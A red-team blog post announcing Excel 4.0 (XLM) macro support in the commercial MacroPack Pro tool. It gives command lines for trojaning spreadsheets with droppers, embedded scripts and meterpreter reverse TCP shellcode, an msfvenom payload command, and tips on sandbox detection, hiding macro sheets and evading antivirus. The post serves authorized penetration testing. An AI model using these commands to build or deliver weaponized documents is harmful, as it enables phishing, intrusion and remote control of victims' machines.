EXCEL 4.0 XLM macro in MacroPack Pro

Excel 4.0 macro (also called XLM) have been commonly used by malicious operators these last years, it has also been analyzed and commented by several researches (red or blue). So I decided to add the support of this language for MacroPack Pro.

Article published on 18 September 2020
last modification on 22 November 2021

by Emeric Nasi


License : Copyright Emeric Nasi (@EmericNasi), some rights reserved
This work is licensed under a Creative Commons Attribution 4.0 International License.
Creative Commons License

1. About

Excel 4.0 macro (also called XLM) have been commonly used by malicious operators these last years, it has also been analyzed and commented by several researchers (red or blue).
This format is used a lot in the recent years as it is considered to be less detected by AV, also it is not processed by AMSI.
I improved MacroPack Pro to support generation of those vintage Excel 4.0 Macros and in this post you will find several XLM features I implemented and some demos.

Note: In this post I explain some of the mechanisms I implemented but I will not provide the generator source code since its features of MacroPack Pro which is a commercial tool for redteams legal use only.

2. Introduction to EXCEL 4.0 macros (XLM)

2.1 XLM?

Excel 4.0 was release in 1992. It was released with a system of Macro based on instructions entered in the cells ot a sheet. Its those macros that we refer to as Excel 4.0 Macro or XLM.

Excel 5.0 was released in 1993 and introduced VBA. It seems incredible but we are talking about a technology from 1992 which was replaced by VBA one year later, and is still supported at the time I am writing this post (september 2020)!

In the last years there have been more and more usage of Excel 4.0 macros in malwares including weaponization and obfuscation (check out this post from lastline.com). Thus it is important for Redteams to have tools to simulate those kind of attacks.
Concerning of security researchers, most recent resource point to the great post by Stan Hegt fom Outflank that was prepared for DerbyCon 2018.
I strongly suggest to read his blog post to understand basics of RedTeam usage of XLM.
Anyway it was logical I ported Excel 4.0 to MacroPack (Pro version only).

2.2 Some implementation tricks

Use International macrosheets
XLM macro sheets are like regular excel sheets, they are language dependent.
Here is for example an extract from Arno0x Github implementing some XLM shellcode injection for a French version of Excel.

To avoiding having to implement your payload in every language, MacroPack uses international macro sheets allowing to write everything in english.
This corresponds to the xlExcel4IntlMacroSheet value of the XlSheetType enumeration type

Use variables
A lot of the example of malicious XLM payloads do not rely on variables. In my opinion it is easier to read and to work on a code where variables are used.
Here are some examples:

Also XLM cell has a maximum number of char it can hold (255), and this is also a good reasons to use variables to store strings.
Unlike the cells, variables are not limited in size (or I am not aware about the limit)

2.3 Generate a payload with MacroPack

To generate an Excel payload in XLM format add —xlm option in the command line. This option is compatible with most MacroPack templates as well as several options.
Example, generate an obfuscated Excel XLM payload executing notepad via cmd:
echo “cmd.exe /c notepad.exe” | macro_pack.exe -o -t CMD --xlm -G test.xls

Similarly to VBA base payloads, you can trojan an existing document using the -T (—trojan) option:
echo “cmd.exe /c notepad.exe” | macro_pack.exe -o -t CMD --xlm -T existingdoc.xlsx

3. MacroPack templates support

For now, XLM option is only available using a MacroPack templates.
If you are not familiar with MacroPack, you have to know it has a series of predifined templates corresponding to common redteam usage (file embedding, droppers, shellcode injection, etc.)
Most of those templates are compatible with —xlm option.

3.1 Execute a command

A simple execution can be done via EXEC instruction or using win32 API such as shellexecute.

The MacroPack command line to generate a command line execution payload:
echo "calc.exe" | macro_pack.exe -t CMD -G runcalc.xls --xlm

3.2 Download and execute a file

The next dropper MacroPack templates support —xlm option:

  • DROPPER (download and execute a file)
  • DROPPER_PS (download and execute a powershell script via a DLL)
  • DROPPER_DLL (download and load a DLL)

Here is the command line used to trojan an Excel sheet with a XLM dropper:
echo https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe | macro_pack.exe -t DROPPER -o —xlm —stealth -T samples\Risk_Mgt_ToolBox_v1.0.xls

Check out the corresponding video here:


3.3 Embed and run another file

I have ported file embedding capacities to the XLM payloads (—embed option)

The next file embeding MacroPack templates support —xlm option:

  • EMBED_RUN (embed a file which will be dropped and executed)
  • EMBED_DROP (embed a file which will be dropped but not executed)
  • EMBED_DLL (embed a dll which will be dropped and loaded)

In the example below, we embed a VBS script inside an XLM macro, when macro is enabled, the script will be dropped and executed.
macro_pack.exe -t EMBED_RUN --embed=something.vbs -o -G embed_run.xls --xlm

3.4 Shellcode injection

MacroPack XLM payloads support embedding and running raw shellcodes (32bit and 64bit).
I want to point out a problem in multiple public implementations of shellcode injection XLM feature.
The shellcode is generally encoded in a column (255 byte per cell). This column is then selected using =SELECT operator, and the selected cell is refered to via ACTIVE.CELL()
The problem is that this mechanism is not compatible with hidden macro sheets. So Instead for MacroPack I used a named variable to point to the current shellcode cell.
Extract from a MacroPack payload:

Here is the command line used to trojan an Excel sheet with a XLM loading meterpreter reverse TCP raw shellcode:
echo meterx86_no0.bin | macro_pack.exe -t SHELLCODE -o --xlm --stealth -T samples\Risk_Mgt_ToolBox_v1.0.xlsx

Check out how this runs with the video below

Similarly to VBA/VBS based payloads XLM option supports large raw shellcodes.
For example, MacroPack can be used to generate a payload which runs in memory a meterpreter stageless shellcode (177ko).

Note: XLM string manipulation will consider the NULL char as end of string. Remember to remove \x00 char from your raw shellcodes. For example, to create reverse TCP meterpreter payload without NULL chars:
msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.56.1 -f raw  -b '\x00'  -o meterx86_no0.bin

3.5 Other templates

Other templates such as EMPIRE which runs an embedded Empire powershell stager are also supported.
I don’t want this post to be too long so I’m not describing those but you can always ask me about it.

4. Some security bypass features

4.1 Some Anti Reverse

Sandbox detection
I added basic sandbox detection features such as looking for the username using =GET.WORKSPACE(26)
I also look at the number of processors via an environment variable. There arer multiple improvement path for this in the future.

Hiding macro sheet
By default, when you add a XLM macro sheet, a "Macro" tab appears in the Excel sheet, which is not very discreet.

If you use the "—stealth" option, MacroPack will hide the Macro Sheet by setting the visible parameter to xlSheetVeryHidden.
On Microsoft documentation for xlSheetVeryHidden you can read: "Hides the object so that the only way for you to make it visible again is by setting this property to True (the user cannot make the object visible)."

Obfuscation
I have added some code obfuscation for XLM payloads. I tried to look at existing public obfuscation methods from researchers or malware writers however they where generally detected by Windows Defender (when the cleartext payload was not).
I ended up implementing my own obfuscation mechanism which is not detected by Defender and most AV I tested.

Note: About obfuscation, it seems that in general AV are very bad at detecting clear text XLM payloads, but have some detection methods for obfuscated XLM or VBA/VBS. I am thinking that for a redteamer with a short timeline, It might not be interresting to implement a lot of anti-reverse features but rather go for a quick win and be sure to bypass AV. So maybe non-obfuscated payloads are better sometimes. This is just a personal thought, tell me what your opinion is about that ;).

4.2 XLM Injection

A very nice mechanism I implemented is called XLM injection. It allows to inject and run Excel 4.0 macro in memory from a non Excel format payload (ex Word, HTA, Help files,...).
This feature is complex, I dedicated another post especially for it.

5. To sum up

I am glad to have finally added XLM support in MacroPack. It is released with version 2.0.0 of MP Pro.
I will continue to add more features and upload more post and videos about it.

Concerning technical details, I will not provide source code but do not hesitate to DM me on twitter (@EmericNasi or email me at emeric.nasi[ at ]sevagas.com if you want to talk about this or if you want to know more about MacroPack Pro.

However before you contact me please be aware about the next statement:

MacroPack Pro shall be used only in the context of a redteam engagement, penetration testing, phishing simulation, or other form of security assessment with the lawful and formal authorization from the Target System owners. It is the User’s responsibility to obey all applicable local, state, federal and national laws.
Also please note that I will not answer to any anonymous inquiries concerning MacroPack Pro.